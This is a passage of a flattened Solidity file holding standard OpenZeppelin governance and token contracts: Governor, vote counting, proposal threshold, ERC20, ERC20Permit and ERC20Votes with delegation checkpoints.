{name} and {version} */ constructor(string memory name_) EIP712(name_, version()) { _name = name_; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC165) returns (bool) { return interfaceId == type(IGovernor).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IGovernor-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IGovernor-version}. */ function version() public view virtual override returns (string memory) { return "1"; } /** * @dev See {IGovernor-hashProposal}. * * The proposal id is produced by hashing the RLC encoded `targets` array, the `values` array, the `calldatas` array * and the descriptionHash (bytes32 which itself is the keccak256 hash of the description string). This proposal id * can be produced from the proposal data which is part of the {ProposalCreated} event. It can even be computed in * advance, before the proposal is submitted. * * Note that the chainId and the governor address are not part of the proposal id computation. Consequently, the * same proposal (with same operation and same description) will have the same id if submitted on multiple governors * accross multiple networks. This also means that in order to execute the same operation twice (on the same * governor) the proposer will have to change the description in order to avoid proposal id conflicts. */ function hashProposal( address[] memory targets, uint256[] memory values, bytes[] memory calldatas, bytes32 descriptionHash ) public pure virtual override returns (uint256) { return uint256(keccak256(abi.encode(targets, values, calldatas, descriptionHash))); } /** * @dev See {IGovernor-state}. */ function state(uint256 proposalId) public view virtual override returns (ProposalState) { ProposalCore memory proposal = _proposals[proposalId]; if (proposal.executed) { return ProposalState.Executed; } else if (proposal.canceled) { return ProposalState.Canceled; } else if (proposal.voteStart.isPending()) { return ProposalState.Pending; } else if (proposal.voteEnd.isPending()) { return ProposalState.Active; } else if (proposal.voteEnd.isExpired()) { return _quorumReached(proposalId) && _voteSucceeded(proposalId) ? ProposalState.Succeeded : ProposalState.Defeated; } else { revert("Governor: unknown proposal id"); } } /** * @dev See {IGovernor-proposalSnapshot}. */ function proposalSnapshot(uint256 proposalId) public view virtual override returns (uint256) { return _proposals[proposalId].voteStart.getDeadline(); } /** * @dev See {IGovernor-proposalDeadline}. */ function proposalDeadline(uint256 proposalId) public view virtual override returns (uint256) { return _proposals[proposalId].voteEnd.getDeadline(); } /** * @dev Amount of votes already cast passes the threshold limit. */ function _quorumReached(uint256 proposalId) internal view virtual returns (bool); /** * @dev Is the proposal successful or not. */ function _voteSucceeded(uint256 proposalId) internal view virtual returns (bool); /** * @dev Register a vote with a given support and voting weight. * * Note: Support is generic and can represent various things depending on the voting system used. */ function _countVote( uint256 proposalId, address account, uint8 support, uint256 weight ) internal virtual; /** * @dev See {IGovernor-propose}. */ function propose( address[] memory targets, uint256[] memory values, bytes[] memory calldatas, string memory description ) public virtual override returns (uint256) { uint256 proposalId = hashProposal(targets, values, calldatas, keccak256(bytes(description))); require(targets.length == values.length, "Governor: invalid proposal length"); require(targets.length == calldatas.length, "Governor: invalid proposal length"); require(targets.length > 0, "Governor: empty proposal"); ProposalCore storage proposal = _proposals[proposalId]; require(proposal.voteStart.isUnset(), "Governor: proposal already exists"); uint64 snapshot = block.number.toUint64() + votingDelay().toUint64(); uint64 deadline = snapshot + votingPeriod().toUint64(); proposal.voteStart.setDeadline(snapshot); proposal.voteEnd.setDeadline(deadline); emit ProposalCreated( proposalId, _msgSender(), targets, values, new string[](targets.length), calldatas, snapshot, deadline, description ); return proposalId; } /** * @dev See {IGovernor-execute}. */ function execute( address[] memory targets, uint256[] memory values, bytes[] memory calldatas, bytes32 descriptionHash ) public payable virtual override returns (uint256) { uint256 proposalId = hashProposal(targets, values, calldatas, descriptionHash); ProposalState status = state(proposalId); require( status == ProposalState.Succeeded || status == ProposalState.Queued, "Governor: proposal not successful" ); _proposals[proposalId].executed = true; emit ProposalExecuted(proposalId); _execute(proposalId, targets, values, calldatas, descriptionHash); return proposalId; } /** * @dev Internal execution mechanism. Can be overriden to implement different execution mechanism */ function _execute( uint256, /* proposalId */ address[] memory targets, uint256[] memory values, bytes[] memory calldatas, bytes32 /*descriptionHash*/ ) internal virtual { string memory errorMessage = "Governor: call reverted without message"; for (uint256 i = 0; i < targets.length; ++i) { (bool success, bytes memory returndata) = targets[i].call{value: values[i]}(calldatas[i]); Address.verifyCallResult(success, returndata, errorMessage); } } /** * @dev Internal cancel mechanism: locks up the proposal timer, preventing it from being re-submitted. Marks it as * canceled to allow distinguishing it from executed proposals. * * Emits a {IGovernor-ProposalCanceled} event. */ function _cancel( address[] memory targets, uint256[] memory values, bytes[] memory calldatas, bytes32 descriptionHash ) internal virtual returns (uint256) { uint256 proposalId = hashProposal(targets, values, calldatas, descriptionHash); ProposalState status = state(proposalId); require( status != ProposalState.Canceled && status != ProposalState.Expired && status != ProposalState.Executed, "Governor: proposal not active" ); _proposals[proposalId].canceled = true; emit ProposalCanceled(proposalId); return proposalId; } /** * @dev See {IGovernor-castVote}. */ function castVote(uint256 proposalId, uint8 support) public virtual override returns (uint256) { address voter = _msgSender(); return _castVote(proposalId, voter, support, ""); } /** * @dev See {IGovernor-castVoteWithReason}. */ function castVoteWithReason( uint256 proposalId, uint8 support, string calldata reason ) public virtual override returns (uint256) { address voter = _msgSender(); return _castVote(proposalId, voter, support, reason); } /** * @dev See {IGovernor-castVoteBySig}. */ function castVoteBySig( uint256 proposalId, uint8 support, uint8 v, bytes32 r, bytes32 s ) public virtual override returns (uint256) { address voter = ECDSA.recover( _hashTypedDataV4(keccak256(abi.encode(BALLOT_TYPEHASH, proposalId, support))), v, r, s ); return _castVote(proposalId, voter, support, ""); } /** * @dev Internal vote casting mechanism: Check that the vote is pending, that it has not been cast yet, retrieve * voting weight using {IGovernor-getVotes} and call the {_countVote} internal function. * * Emits a {IGovernor-VoteCast} event. */ function _castVote( uint256 proposalId, address account, uint8 support, string memory reason ) internal virtual returns (uint256) { ProposalCore storage proposal = _proposals[proposalId]; require(state(proposalId) == ProposalState.Active, "Governor: vote not currently active"); uint256 weight = getVotes(account, proposal.voteStart.getDeadline()); _countVote(proposalId, account, support, weight); emit VoteCast(account, proposalId, support, weight, reason); return weight; } /** * @dev Address through which the governor executes action. Will be overloaded by module that execute actions * through another contract such as a timelock. */ function _executor() internal view virtual returns (address) { return address(this); } } // File @openzeppelin/contracts/governance/extensions/[email protected] pragma solidity ^0.8.0; /** * @dev Extension of {Governor} for proposal restriction to token holders with a minimum balance. * * _Available since v4.3._ */ abstract contract GovernorProposalThreshold is Governor { /** * @dev See {IGovernor-propose}. */ function propose( address[] memory targets, uint256[] memory values, bytes[] memory calldatas, string memory description ) public virtual override returns (uint256) { require( getVotes(msg.sender, block.number - 1) >= proposalThreshold(), "GovernorCompatibilityBravo: proposer votes below proposal threshold" ); return super.propose(targets, values, calldatas, description); } /** * @dev Part of the Governor Bravo's interface: _"The number of votes required in order for a voter to become a proposer"_. */ function proposalThreshold() public view virtual returns (uint256); } // File @openzeppelin/contracts/governance/extensions/[email protected] pragma solidity ^0.8.0; /** * @dev Extension of {Governor} for simple, 3 options, vote counting. * * _Available since v4.3._ */ abstract contract GovernorCountingSimple is Governor { /** * @dev Supported vote types. Matches Governor Bravo ordering. */ enum VoteType { Against, For, Abstain } struct ProposalVote { uint256 againstVotes; uint256 forVotes; uint256 abstainVotes; mapping(address => bool) hasVoted; } mapping(uint256 => ProposalVote) private _proposalVotes; /** * @dev See {IGovernor-COUNTING_MODE}. */ // solhint-disable-next-line func-name-mixedcase function COUNTING_MODE() public pure virtual override returns (string memory) { return "support=bravo&quorum=for,abstain"; } /** * @dev See {IGovernor-hasVoted}. */ function hasVoted(uint256 proposalId, address account) public view virtual override returns (bool) { return _proposalVotes[proposalId].hasVoted[account]; } /** * @dev Accessor to the internal vote counts. */ function proposalVotes(uint256 proposalId) public view virtual returns ( uint256 againstVotes, uint256 forVotes, uint256 abstainVotes ) { ProposalVote storage proposalvote = _proposalVotes[proposalId]; return (proposalvote.againstVotes, proposalvote.forVotes, proposalvote.abstainVotes); } /** * @dev See {Governor-_quorumReached}. */ function _quorumReached(uint256 proposalId) internal view virtual override returns (bool) { ProposalVote storage proposalvote = _proposalVotes[proposalId]; return quorum(proposalSnapshot(proposalId)) <= proposalvote.forVotes + proposalvote.abstainVotes; } /** * @dev See {Governor-_voteSucceeded}. In this module, the forVotes must be scritly over the againstVotes. */ function _voteSucceeded(uint256 proposalId) internal view virtual override returns (bool) { ProposalVote storage proposalvote = _proposalVotes[proposalId]; return proposalvote.forVotes > proposalvote.againstVotes; } /** * @dev See {Governor-_countVote}. In this module, the support follows the `VoteType` enum (from Governor Bravo). */ function _countVote( uint256 proposalId, address account, uint8 support, uint256 weight ) internal virtual override { ProposalVote storage proposalvote = _proposalVotes[proposalId]; require(!proposalvote.hasVoted[account], "GovernorVotingSimple: vote already cast"); proposalvote.hasVoted[account] = true; if (support == uint8(VoteType.Against)) { proposalvote.againstVotes += weight; } else if (support == uint8(VoteType.For)) { proposalvote.forVotes += weight; } else if (support == uint8(VoteType.Abstain)) { proposalvote.abstainVotes += weight; } else { revert("GovernorVotingSimple: invalid value for enum VoteType"); } } } // File @openzeppelin/contracts/token/ERC20/extensions/[email protected] pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 Permit extension allowing approvals to be made via signatures, as defined in * https://eips.ethereum.org/EIPS/eip-2612[EIP-2612]. * * Adds the {permit} method, which can be used to change an account's ERC20 allowance (see {IERC20-allowance}) by * presenting a message signed by the account. By not relying on {IERC20-approve}, the token holder account doesn't * need to send a transaction, and thus is not required to hold Ether at all. */ interface IERC20Permit { /** * @dev Sets `value` as the allowance of `spender` over ``owner``'s tokens, * given ``owner``'s signed approval. * * IMPORTANT: The same issues {IERC20-approve} has related to transaction * ordering also apply here. * * Emits an {Approval} event. * * Requirements: * * - `spender` cannot be the zero address. * - `deadline` must be a timestamp in the future. * - `v`, `r` and `s` must be a valid `secp256k1` signature from `owner` * over the EIP712-formatted function arguments. * - the signature must use ``owner``'s current nonce (see {nonces}). * * For more information on the signature format, see the * https://eips.ethereum.org/EIPS/eip-2612#specification[relevant EIP * section]. */ function permit( address owner, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s ) external; /** * @dev Returns the current nonce for `owner`. This value must be * included whenever a signature is generated for {permit}. * * Every successful call to {permit} increases ``owner``'s nonce by one. This * prevents a signature from being used multiple times. */ function nonces(address owner) external view returns (uint256); /** * @dev Returns the domain separator used in the encoding of the signature for {permit}, as defined by {EIP712}. */ // solhint-disable-next-line func-name-mixedcase function DOMAIN_SEPARATOR() external view returns (bytes32); } // File @openzeppelin/contracts/token/ERC20/[email protected] pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // File @openzeppelin/contracts/token/ERC20/extensions/[email protected] pragma solidity ^0.8.0; /** * @dev Interface for the optional metadata functions from the ERC20 standard. * * _Available since v4.1._ */ interface IERC20Metadata is IERC20 { /** * @dev Returns the name of the token. */ function name() external view returns (string memory); /** * @dev Returns the symbol of the token. */ function symbol() external view returns (string memory); /** * @dev Returns the decimals places of the token. */ function decimals() external view returns (uint8); } // File @openzeppelin/contracts/token/ERC20/[email protected] pragma solidity ^0.8.0; /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin Contracts guidelines: functions revert * instead returning `false` on failure. This behavior is nonetheless * conventional and does not conflict with the expectations of ERC20 * applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20, IERC20Metadata { mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; /** * @dev Sets the values for {name} and {symbol}. * * The default value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All two of these values are immutable: they can only be set once during * construction. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev Returns the name of the token. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5.05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overridden; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual override returns (uint8) { return 18; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom( address sender, address recipient, uint256 amount ) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); unchecked { _approve(sender, _msgSender(), currentAllowance - amount); } return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); unchecked { _approve(_msgSender(), spender, currentAllowance - subtractedValue); } return true; } /** * @dev Moves `amount` of tokens from `sender` to `recipient`. * * This internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer( address sender, address recipient, uint256 amount ) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); unchecked { _balances[sender] = senderBalance - amount; } _balances[recipient] += amount; emit Transfer(sender, recipient, amount); _afterTokenTransfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); _afterTokenTransfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); unchecked { _balances[account] = accountBalance - amount; } _totalSupply -= amount; emit Transfer(account, address(0), amount); _afterTokenTransfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve( address owner, address spender, uint256 amount ) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 amount ) internal virtual {} /** * @dev Hook that is called after any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * has been transferred to `to`. * - when `from` is zero, `amount` tokens have been minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens have been burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _afterTokenTransfer( address from, address to, uint256 amount ) internal virtual {} } // File @openzeppelin/contracts/utils/[email protected] pragma solidity ^0.8.0; /** * @title Counters * @author Matt Condon (@shrugs) * @dev Provides counters that can only be incremented, decremented or reset. This can be used e.g. to track the number * of elements in a mapping, issuing ERC721 ids, or counting request ids. * * Include with `using Counters for Counters.Counter;` */ library Counters { struct Counter { // This variable should never be directly accessed by users of the library: interactions must be restricted to // the library's function. As of Solidity v0.5.2, this cannot be enforced, though there is a proposal to add // this feature: see https://github.com/ethereum/solidity/issues/4637 uint256 _value; // default: 0 } function current(Counter storage counter) internal view returns (uint256) { return counter._value; } function increment(Counter storage counter) internal { unchecked { counter._value += 1; } } function decrement(Counter storage counter) internal { uint256 value = counter._value; require(value > 0, "Counter: decrement overflow"); unchecked { counter._value = value - 1; } } function reset(Counter storage counter) internal { counter._value = 0; } } // File @openzeppelin/contracts/token/ERC20/extensions/[email protected] pragma solidity ^0.8.0; /** * @dev Implementation of the ERC20 Permit extension allowing approvals to be made via signatures, as defined in * https://eips.ethereum.org/EIPS/eip-2612[EIP-2612]. * * Adds the {permit} method, which can be used to change an account's ERC20 allowance (see {IERC20-allowance}) by * presenting a message signed by the account. By not relying on `{IERC20-approve}`, the token holder account doesn't * need to send a transaction, and thus is not required to hold Ether at all. * * _Available since v3.4._ */ abstract contract ERC20Permit is ERC20, IERC20Permit, EIP712 { using Counters for Counters.Counter; mapping(address => Counters.Counter) private _nonces; // solhint-disable-next-line var-name-mixedcase bytes32 private immutable _PERMIT_TYPEHASH = keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)"); /** * @dev Initializes the {EIP712} domain separator using the `name` parameter, and setting `version` to `"1"`. * * It's a good idea to use the same `name` that is defined as the ERC20 token name. */ constructor(string memory name) EIP712(name, "1") {} /** * @dev See {IERC20Permit-permit}. */ function permit( address owner, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s ) public virtual override { require(block.timestamp <= deadline, "ERC20Permit: expired deadline"); bytes32 structHash = keccak256(abi.encode(_PERMIT_TYPEHASH, owner, spender, value, _useNonce(owner), deadline)); bytes32 hash = _hashTypedDataV4(structHash); address signer = ECDSA.recover(hash, v, r, s); require(signer == owner, "ERC20Permit: invalid signature"); _approve(owner, spender, value); } /** * @dev See {IERC20Permit-nonces}. */ function nonces(address owner) public view virtual override returns (uint256) { return _nonces[owner].current(); } /** * @dev See {IERC20Permit-DOMAIN_SEPARATOR}. */ // solhint-disable-next-line func-name-mixedcase function DOMAIN_SEPARATOR() external view override returns (bytes32) { return _domainSeparatorV4(); } /** * @dev "Consume a nonce": return the current value and increment. * * _Available since v4.1._ */ function _useNonce(address owner) internal virtual returns (uint256 current) { Counters.Counter storage nonce = _nonces[owner]; current = nonce.current(); nonce.increment(); } } // File @openzeppelin/contracts/utils/math/[email protected] pragma solidity ^0.8.0; /** * @dev Standard math utilities missing in the Solidity language. */ library Math { /** * @dev Returns the largest of two numbers. */ function max(uint256 a, uint256 b) internal pure returns (uint256) { return a >= b ? a : b; } /** * @dev Returns the smallest of two numbers. */ function min(uint256 a, uint256 b) internal pure returns (uint256) { return a < b ? a : b; } /** * @dev Returns the average of two numbers. The result is rounded towards * zero. */ function average(uint256 a, uint256 b) internal pure returns (uint256) { // (a + b) / 2 can overflow. return (a & b) + (a ^ b) / 2; } /** * @dev Returns the ceiling of the division of two numbers. * * This differs from standard division with `/` in that it rounds up instead * of rounding down. */ function ceilDiv(uint256 a, uint256 b) internal pure returns (uint256) { // (a + b - 1) / b can overflow on addition, so we distribute. return a / b + (a % b == 0 ? 0 : 1); } } // File @openzeppelin/contracts/token/ERC20/extensions/[email protected] pragma solidity ^0.8.0; /** * @dev Extension of ERC20 to support Compound-like voting and delegation. This version is more generic than Compound's, * and supports token supply up to 2^224^ - 1, while COMP is limited to 2^96^ - 1. * * NOTE: If exact COMP compatibility is required, use the {ERC20VotesComp} variant of this module. * * This extension keeps a history (checkpoints) of each account's vote power. Vote power can be delegated either * by calling the {delegate} function directly, or by providing a signature to be used with {delegateBySig}. Voting * power can be queried through the public accessors {getVotes} and {getPastVotes}. * * By default, token balance does not account for voting power. This makes transfers cheaper. The downside is that it * requires users to delegate to themselves in order to activate checkpoints and have their voting power tracked. * Enabling self-delegation can easily be done by overriding the {delegates} function. Keep in mind however that this * will significantly increase the base gas cost of transfers. * * _Available since v4.2._ */ abstract contract ERC20Votes is ERC20Permit { struct Checkpoint { uint32 fromBlock; uint224 votes; } bytes32 private constant _DELEGATION_TYPEHASH = keccak256("Delegation(address delegatee,uint256 nonce,uint256 expiry)"); mapping(address => address) private _delegates; mapping(address => Checkpoint[]) private _checkpoints; Checkpoint[] private _totalSupplyCheckpoints; /** * @dev Emitted when an account changes their delegate. */ event DelegateChanged(address indexed delegator, address indexed fromDelegate, address indexed toDelegate); /** * @dev Emitted when a token transfer or delegate change results in changes to an account's voting power. */ event DelegateVotesChanged(address indexed delegate, uint256 previousBalance, uint256 newBalance); /** * @dev Get the `pos`-th checkpoint for `account`. */ function checkpoints(address account, uint32 pos) public view virtual returns (Checkpoint memory) { return _checkpoints[account][pos]; } /** * @dev Get number of checkpoints for `account`. */ function numCheckpoints(address account) public view virtual returns (uint32) { return SafeCast.toUint32(_checkpoints[account].length); } /** * @dev Get the address `account` is currently delegating to. */ function delegates(address account) public view virtual returns (address) { return _delegates[account]; } /** * @dev Gets the current votes balance for `account` */ function getVotes(address account) public view returns (uint256) { uint256 pos = _checkpoints[account].length; return pos == 0 ? 0 : _checkpoints[account][pos - 1].votes; } /** * @dev Retrieve the number of votes for `account` at the end of `blockNumber`. * * Requirements: * * - `blockNumber` must have been already mined */ function getPastVotes(address account, uint256 blockNumber) public view returns (uint256) { require(blockNumber < block.number, "ERC20Votes: block not yet mined"); return _checkpointsLookup(_checkpoints[account], blockNumber); } /** * @dev Retrieve the `totalSupply` at the end of `blockNumber`. Note, this value is the sum of all balances. * It is but NOT the sum of all the delegated votes! * * Requirements: * * - `blockNumber` must have been already mined */ function getPastTotalSupply(uint256 blockNumber) public view returns (uint256) { require(blockNumber < block.number, "ERC20Votes: block not yet mined"); return _checkpointsLookup(_totalSupplyCheckpoints, blockNumber); } /** * @dev Lookup a value in a list of (sorted) checkpoints. */ function _checkpointsLookup(Checkpoint[] storage ckpts, uint256 blockNumber) private view returns (uint256) { // We run a binary search to look for the earliest checkpoint taken after `blockNumber`. // // During the loop, the index of the wanted checkpoint remains in the range [low-1, high). // With each iteration, either `low` or `high` is moved towards the middle of the range to maintain the invariant. // - If the middle checkpoint is after `blockNumber`, we look in [low, mid) // - If the middle checkpoint is before or equal to `blockNumber`, we look in [mid+1, high) // Once we reach a single value (when low == high), we've found the right checkpoint at the index high-1, if not // out of bounds (in which case we're looking too far in the past and the result is 0). // Note that if the latest checkpoint available is exactly for `blockNumber`, we end up with an index that is // past the end of the array, so we technically don't find a checkpoint after `blockNumber`, but it works out // the same. uint256 high = ckpts.length; uint256 low = 0; while (low < high) { uint256 mid = Math.average(low, high); if (ckpts[mid].fromBlock > blockNumber) { high = mid; } else { low = mid + 1; } } return high == 0 ? 0 : ckpts[high - 1].votes; } /** * @dev Delegate votes from the sender to `delegatee`. */ function delegate(address delegatee) public virtual { return _delegate(_msgSender(), delegatee); } /** * @dev Delegates votes from signer to `delegatee` */ function delegateBySig( address delegatee, uint256 nonce, uint256 expiry, uint8 v, bytes32 r, bytes32 s ) public virtual { require(block.timestamp <= expiry, "ERC20Votes: signature expired"); address signer = ECDSA.recover( _hashTypedDataV4(keccak256(abi.encode(_DELEGATION_TYPEHASH, delegatee, nonce, expiry))), v, r, s ); require(nonce == _useNonce(signer), "ERC20Votes: invalid nonce"); return _delegate(signer, delegatee); } /** * @dev Maximum token supply. Defaults to `type(uint224).max` (2^224^ - 1). */ function _maxSupply() internal view virtual returns (uint224) { return type(uint224).max; } /** * @dev Snapshots the totalSupply after it has been increased. */ function _mint(address account, uint256 amount) internal virtual override { super._mint(account, amount); require(totalSupply() <= _maxSupply(), "ERC20Votes: total supply risks overflowing votes"); _writeCheckpoint(_totalSupplyCheckpoints, _add, amount); } /** * @dev Snapshots the totalSupply after it has been decreased. */ function _burn(address account, uint256 amount) internal virtual override { super._burn(account, amount); _writeCheckpoint(_totalSupplyCheckpoints, _subtract, amount); } /** * @dev Move voting power when tokens are transferred. * * Emits a {DelegateVotesChanged} event. */ function _afterTokenTransfer( address from, address to, uint256 amount ) internal virtual override { super._afterTokenTransfer(from, to, amount); _moveVotingPower(delegates(from), delegates(to), amount); } /** * @dev Change delegation for `delegator` to `delegatee`. * * Emits events {DelegateChanged} and {DelegateVotesChanged}. */ function _delegate(address delegator, address delegatee) internal virtual { address currentDelegate = delegates(delegator); uint256 delegatorBalance = balanceOf(delegator); _delegates[delegator] = delegatee; emit DelegateChanged(delegator, currentDelegate, delegatee); _moveVotingPower(currentDelegate, delegatee, delegatorBalance); } function _moveVotingPower( address src, address dst, uint256 amount ) private { if (src != dst && amount > 0) { if (src != address(0)) { (uint256 oldWeight, uint256 newWeight) = _writeCheckpoint(_checkpoints[src], _subtract, amount); emit DelegateVotesChanged(src, oldWeight, newWeight); } if (dst != address(0)) { (uint256 oldWeight, uint256 newWeight) = _writeCheckpoint(_checkpoints[dst], _add, amount); emit DelegateVotesChanged(dst, oldWeight, newWeight); } } } function _writeCheckpoint( Checkpoint[] storage ckpts, function(uint256, uint256) view returns (uint256) op, uint256 delta ) private returns (uint256 oldWeight, uint256 newWeight) { uint256 pos = ckpts.length; oldWeight = pos == 0 ? 0 : ckpts[pos - 1].votes; newWeight = op(oldWeight, delta); if (pos > 0 && ckpts[pos - 1].fromBlock == block.number) { ckpts[pos - 1].votes = SafeCast.toUint224(newWeight); } else { ckpts.push(Checkpoint({fromBlock: SafeCast.toUint32(block.number), votes: SafeCast.toUint224(newWeight)})); } } function _add(uint256 a, uint256 b) private pure returns (uint256) { return a + b; } function _subtract(uint256 a, uint256 b) private pure returns (uint256) { return a - b; } } // File @openzeppelin/contracts/governance/extensions/[email protected] 